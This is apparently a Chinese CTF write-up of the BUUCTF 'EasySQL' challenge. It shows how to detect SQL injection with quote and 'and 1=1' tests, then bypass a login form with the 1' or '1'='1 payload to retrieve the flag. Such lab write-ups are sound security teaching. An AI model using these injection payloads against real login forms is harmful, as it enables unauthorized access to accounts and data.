首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >buuctf[极客大挑战 2019]EasySQL1解题思路

buuctf[极客大挑战 2019]EasySQL1解题思路

作者头像
用户8909609
发布2023-10-19 19:08:24
发布2023-10-19 19:08:24
1.1K0
举报
文章被收录于专栏:BM CTFBM CTF

网页环境

可以看到是一个登录窗口,题目已经说了是SQL注入

首先试一下弱口令,admin,123

提示用户名密码错了

既然是第一道题,那应该是很简单了

判断是数字型还是字符型

  1. 数字型
代码语言:javascript
复制
 and 1=1 回显正常
 and 1=2 返回异常,存在数字型注入可能
 

  1. 字符型
代码语言:javascript
复制
 1 返回正常
 1' 返回异常,存在字符型注入可能
 

经过测试,发现username和password两个参数都可以分别注入和同时注入

构造payload

代码语言:javascript
复制
 url?usename=1'&password=1'
 

回显报错,存在SQL字符型注入

小试一下万能密码注入

代码语言:javascript
复制
构造payload
 url?usename=1' or '1'='1&password=1' or '1'='1
 

回显flag

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-10-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档